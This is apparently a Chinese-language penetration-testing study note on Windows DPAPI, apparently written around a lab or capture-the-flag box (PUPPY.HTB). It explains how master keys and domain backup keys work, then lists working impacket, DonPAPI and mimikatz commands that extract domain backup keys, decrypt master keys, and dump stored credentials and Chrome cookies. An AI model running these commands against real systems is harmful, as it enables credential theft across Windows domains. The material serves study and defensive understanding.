2.DPAPI secrets

1. 理论

1.1. 什么是 DPAPI

数据保护 API (DPAPI) 主要用于 Windows 操作系统中,用于 对称加密非对称私钥,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者对于系统加密,使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。

使用 DPAPI 的最常见方法是通过 CryptProtectDataCryptUnprotectData 函数,这些函数允许应用程序在当前登录的进程会话中安全地加密和解密数据。这意味着加密的数据只能由加密它的同一用户或系统解密。

此外,这些函数还接受一个 entropy 参数,该参数在加密和解密过程中也会被使用,因此,为了解密使用此参数加密的内容,必须提供在加密过程中使用的相同熵值。

C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID

1.2. 常见使用DPAPI加密的东西

DPAPI 保护的个人数据包括:

    Windows 凭据
    Internet Explorer 和 Google Chrome 的密码及自动完成数据
    应用程序(如 Outlook 和 Windows Mail)的电子邮件和内部 FTP 账户密码
    共享文件夹、资源、无线网络和 Windows Vault 的密码,包括加密密钥
    远程桌面连接的密码、.NET Passport 和各种加密和身份验证目的的私钥
    由凭据管理器管理的网络密码以及使用 CryptProtectData 的应用程序中的个人数据,例如 Skype、MSN messenger 等
    注册表中的加密数据块
    ...

系统保护的数据包括:

    Wifi 密码
    计划任务密码
    ...

像 Google Chrome、Outlook、Internet Explorer、Skype 这样的应用程序都使用 DPAPI。Windows 也使用该 API 来保护敏感信息,比如 Wi-Fi 密码、证书、远程桌面(RDP)连接密码等
以下是一些通常包含 DPAPI 保护数据的隐藏文件常见路径:

C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\

解密上述的加密数据就会用到 masterkey(主密钥)

1.3. 用户密钥生成

DPAPI 为每个用户生成一个唯一的密钥(称为 pre-key),该密钥基于用户的凭据生成。此密钥是从用户的密码和其他因素派生的,算法取决于用户的类型,但最终是 SHA1。例如,对于域用户,它取决于用户的 HTLM 哈希。

这特别有趣,因为如果攻击者能够获得用户的密码或者哈希,他们可以:

  • 解密任何使用 DPAPI 加密的数据,而无需联系任何 API
  • 尝试 离线破解密码,试图生成有效的 DPAPI 密钥

此外,每次用户使用 DPAPI 加密某些数据时,都会生成一个新的 主密钥(masterkey)。这个主密钥实际上用于加密数据。每个主密钥都有一个 GUID(全局唯一标识符)来标识它。

1.4. 解密主密钥

解密上面被DPAPI加密的数据需要用到主密钥, 而主密钥又是被加密的。以下是主密钥解密的相关方法

主密钥存储在 %APPDATA%\Microsoft\Protect\<sid>\<guid> 目录中,其中 {SID} 是该用户的安全标识符。主密钥是通过用户的 pre-key 加密存储的,同时也可以通过 域备份密钥(bak-key) 进行恢复
%APPDATA%\Microsoft\Protect\<sid>\<guid> 下的主密钥有两种解密方式

  • 用户的 pre-key(即用户登录凭据派生的密钥),供用户自己解密用。
  • 域备份密钥 ,供域管理员或备份系统在无用户凭据时恢复用。
# 解密master key
dpapi.py masterkey -file "/path/to/masterkey_file" -sid $USER_SID -password $MASTERKEY_PASSWORD

#提取并解密某个主密钥(Master Key):
dpapi::masterkey /in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID" /sid:$SID /password:$PASSWORD /protected

#提取并解密所有主密钥:
sekurlsa::dpapi

Pasted image 20250521221945

请注意,用于加密主密钥的域备份密钥存储在域控制器中,并且永远不会更改,因此如果攻击者可以访问域控制器,他们可以检索域备份密钥并解密域中所有用户的主密钥。

加密的 blob 包含用于加密数据的主密钥的 GUID,该 GUID 存储在其头部。

DPAPI 加密的 blob 以 01 00 00 00 开头

2. 利用

2.1. 查找主密钥

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

这是一组主密钥的样子
Pasted image 20250521235614

2.2. linux

在类 UNIX 系统中,可以使用一些工具(主要是离线方式)来操作 DPAPI 数据,例如:

  • dpapick(Python)
  • dpapilab(Python)
  • Impacket 中的 dpapi.py 和 secretsdump.py(Python)
# 解密master key
dpapi.py masterkey -file "/path/to/masterkey_file" -sid $USER_SID -password $MASTERKEY_PASSWORD

# (需要域管用户才能获取到备份密钥) 获取域管密钥 并解密masterkey
dpapi.py backupkeys -t $DOMAIN/$USER:$PASSWORD@$TARGET
dpapi.py masterkey -file "/path/to/masterkey_file" -pvk "/path/to/backup_key.pvk"

# (not tested) Decrypt DPAPI-protected data using a master key
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

DonPAPI 也可以用来更方便地远程提取用户的 DPAPI 机密信息。它支持“哈希传递(Pass-The-Hash)”、“票据传递(pass-the-ticket)”等技术。

donpapi collect -u steph.cooper -p 'ChefSteph2025!' -d PUPPY.HTB -t ALL 

2.3. windows

在 Windows 系统上,可以使用 mimikatz (C) 工具来提取和解密 DPAPI 数据。相关模块包括:

  • lsadump::backupkeys 用于提取备份密钥;
  • dpapi::chrome 用于解密 Chrome 浏览器数据;
  • dpapi::cred 用于解密凭据;
  • dpapi::masterkey 和 sekurlsa::dpapi 用于使用指定密码或足够权限来操作特定的主密钥(master keys)。
#常见操作示例:

#提取并解密某个主密钥(Master Key):
dpapi::masterkey /in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID" /sid:$SID /password:$PASSWORD /protected

#提取并解密所有主密钥:
sekurlsa::dpapi

#提取备份密钥并使用它解密某个主密钥:
lsadump::backupkeys /system:$DOMAIN_CONTROLLER /export
dpapi::masterkey /in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID" /pvk:$BACKUP_KEY_EXPORT_PVK

#解密 Chrome 浏览器数据(例如 Cookies):
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies"

#使用主密钥解密 DPAPI 保护的数据:
dpapi::cred /in:"C:\path\to\encrypted\file" /masterkey:$MASTERKEY

2.4. 案例 mimiktaz 利用备份密钥解密Blob

#blob的路径,这些都是DPAPI 的 BLOB(Binary Large Object)格式数据文件
PS C:\Users\Administrator> dir C:\Users\administrator\AppData\Roaming\Microsoft\Credentials -force


    目录: C:\Users\administrator\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         2025/4/26     21:59            466 312D09A4714CC8B679DA51B5F51672FE
-a-hs-         2025/3/12     11:14            434 3C85078261A82F88145FBACE96ECA6AB
-a-hs-         2025/2/12     14:12            498 573D7E7139061F93565E0D93ADFEC87A
-a-hs-         2025/2/13     15:42            482 636DCE1B289808EA1CAE27AAA8641CEF
-a-hs-         2025/2/13     17:12            482 7DC786C1A388EAA5A436FF1D3965AB8C
-a-hs-         2025/2/13     15:34            482 BC90A6D3D16086AC177D5F6ADFF12C19
#解密blob
privileg::debug  
sekurlsa::dpapi  #提取并解密所有主密钥:
dpapi::cred /in:"C:\Users\$username\AppData\Roaming\Microsoft\Credentials\【上面的blob名字】"

Pasted image 20250522003926
Pasted image 20250522003936